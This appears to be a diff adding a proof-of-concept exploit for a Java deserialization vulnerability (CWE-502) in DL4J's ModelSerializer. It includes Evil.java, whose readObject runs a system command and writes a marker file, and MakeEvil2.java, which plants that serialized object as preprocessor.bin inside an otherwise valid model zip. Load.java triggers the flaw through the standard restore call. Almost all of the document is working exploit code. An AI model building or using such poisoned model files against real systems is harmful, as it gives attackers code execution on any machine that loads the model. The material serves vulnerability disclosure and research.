DL4J ModelSerializer Java-deser CWE-502 PoC

poc/Evil.java

@@ -0,0 +1,26 @@
+import java.io.*;
+
+// A Serializable class whose readObject side-effects, proving the loader
+// invokes ObjectInputStream.readObject() on attacker-controlled preprocessor.bin.
+// (Stands in for a real ysoserial gadget; this class is on the classpath only
+//  to PROVE the deser primitive fires on standard load.)
+public class Evil implements Serializable {
+  private static final long serialVersionUID = 1L;
+  String note;
+  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+    in.defaultReadObject();
+    try {
+      String marker = "MARKER_DL4J_DESER_7Q3X note=" + note + " whoami=";
+      Process p = Runtime.getRuntime().exec(new String[]{"id"});
+      java.io.ByteArrayOutputStream bo = new java.io.ByteArrayOutputStream();
+      byte[] buf=new byte[1024]; int n;
+      InputStream is=p.getInputStream();
+      while((n=is.read(buf))>0) bo.write(buf,0,n);
+      marker += bo.toString().trim();
+      try (FileWriter fw = new FileWriter("/tmp/dl4jlab/DL4J_DESER_PROOF.txt")) {
+        fw.write(marker + "\n");
+      }
+      System.err.println(marker);
+    } catch (Exception e) { e.printStackTrace(); }
+  }
+}

poc/Load.java

@@ -0,0 +1,10 @@
+import org.deeplearning4j.nn.multilayer.MultiLayerNetwork;
+import org.deeplearning4j.util.ModelSerializer;
+import java.io.File;
+
+public class Load {
+  public static void main(String[] a) throws Exception {
+    MultiLayerNetwork net = ModelSerializer.restoreMultiLayerNetwork(new File(a[0]), true);
+    System.out.println("LOADED_OK params=" + net.numParams());
+  }
+}

poc/MakeEvil2.java

@@ -0,0 +1,30 @@
+import java.io.*;
+import java.util.zip.*;
+
+public class MakeEvil2 {
+  public static void main(String[] a) throws Exception {
+    Evil e = new Evil();
+    e.note = "served-as-preprocessor.bin";
+    ByteArrayOutputStream bos = new ByteArrayOutputStream();
+    ObjectOutputStream oos = new ObjectOutputStream(bos);
+    oos.writeObject(e); oos.close();
+    byte[] preproc = bos.toByteArray();
+
+    byte[] cfg=null, coef=null;
+    try (ZipInputStream zin = new ZipInputStream(new FileInputStream("/tmp/dl4jlab/valid.zip"))) {
+      ZipEntry z;
+      while ((z=zin.getNextEntry())!=null) {
+        ByteArrayOutputStream b=new ByteArrayOutputStream(); byte[] buf=new byte[4096]; int n;
+        while((n=zin.read(buf))>0) b.write(buf,0,n);
+        if (z.getName().equals("configuration.json")) cfg=b.toByteArray();
+        if (z.getName().equals("coefficients.bin")) coef=b.toByteArray();
+      }
+    }
+    try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream("/tmp/dl4jlab/evil2.zip"))) {
+      zos.putNextEntry(new ZipEntry("configuration.json")); zos.write(cfg); zos.closeEntry();
+      zos.putNextEntry(new ZipEntry("coefficients.bin")); zos.write(coef); zos.closeEntry();
+      zos.putNextEntry(new ZipEntry("preprocessor.bin")); zos.write(preproc); zos.closeEntry();
+    }
+    System.out.println("WROTE evil2.zip preproc_bytes="+preproc.length);
+  }
+}

poc/benign_control.zip

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:45394ca85be7527083a09817a0bc6de843945b247b66213fda6d53c88859bd8f
+size 1131

poc/malicious_model.zip

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:a6943d25ef7da38bee3d6faa0561a584cea645c9163b036b4d3b17edb3cdc0bd
+size 1334